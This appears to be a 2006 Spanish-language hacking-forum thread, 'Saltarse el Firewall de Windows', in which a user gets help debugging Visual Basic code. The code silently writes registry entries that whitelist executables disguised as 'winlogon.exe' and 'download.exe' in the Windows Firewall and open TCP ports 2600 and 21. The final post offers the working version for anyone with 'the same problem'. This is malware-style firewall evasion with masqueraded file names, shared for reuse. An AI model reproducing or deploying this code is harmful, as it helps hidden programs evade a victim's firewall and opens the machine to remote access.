Título: Saltarse el Firewall de Windows Publicado por: JanditoOo en 6 Septiembre 2006, 00:38 am Bien, tengo el siguiente codigo
Citar Private Sub Form_Load() 'Agregar Download.exe y Winlogon.exe a la lista Aceptable del Firewall de Windows RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", App.Path & "\" & "winlogon.exe" & ":*:Enabled:Security Data", RegString RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString RegSetValues "RegLocalMachine\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString End Sub Pero me dice que esta mal: Compile error: Sub or Function not defined Que es lo que le hace falta al codigo? Título: Re: Saltarse el Firewall de Windows Publicado por: ReViJa en 6 Septiembre 2006, 00:54 am Usa el buscador del foro, eso se ha repetido varias veces.
Título: Re: Saltarse el Firewall de Windows Publicado por: JanditoOo en 6 Septiembre 2006, 01:45 am no encontre como poder agregar bien los registtros, pero bueno gracias de todas maneras. en cuanto sepa aqui lo posteare
Título: Re: Saltarse el Firewall de Windows Publicado por: Zorrohack en 6 Septiembre 2006, 03:05 am Lo que estoy creyendo es que no estas declarando las Apis del Registro debes de declararlas asi te funcionara correctamente. Busca en el Foro sobre las Apis de Windows para el Registro.
;D Título: Re: Saltarse el Firewall de Windows Publicado por: JanditoOo en 6 Septiembre 2006, 03:12 am los encontre, el codigo lo tengo de esta manera:
Citar Private Sub Form_Load() Set Agregar = CreateObject("WScript.Shell") ' asignamos a una variable el objeto Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", RegString Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "download.exe", App.Path & "\" & "download.exe" & ":*:Enabled:Security Data", RegString Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", RegString End Sub pero me dice que hay un error cuando le doy "run" me dice: Run-Time error 450: Wrong Number of arguments or invalid property assigment y le pongo en el boton "DEBUG" y me selecciona de amarillo la primera linea: Citar Agregar.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "winlogon.exe", "winlogon.exe:*:Enabled:winlogon", RegString Título: Re: Saltarse el Firewall de Windows Publicado por: JanditoOo en 6 Septiembre 2006, 03:33 am Listo, ya se ejecuto correctamente, para LOS QUE TENGAN EL MISMO PROBLEMA, aqui les dejo el codigo:
Citar Private Sub Form_Load() On Error Resume Next Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:winlogon", "RegString" WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2600:TCP", "2600:TCP:*:Enabled:Puerto Security Data", "RegString" WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", "C:\WINDOWS\System32\download.exe", "C:\Program Files\Internet Explorer\PLUGINS\winlogon.exe:*:Enabled:download", "RegString" WS.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "21:TCP", "21:TCP:*:Enabled:Puerto Security Data", "RegString" End Sub |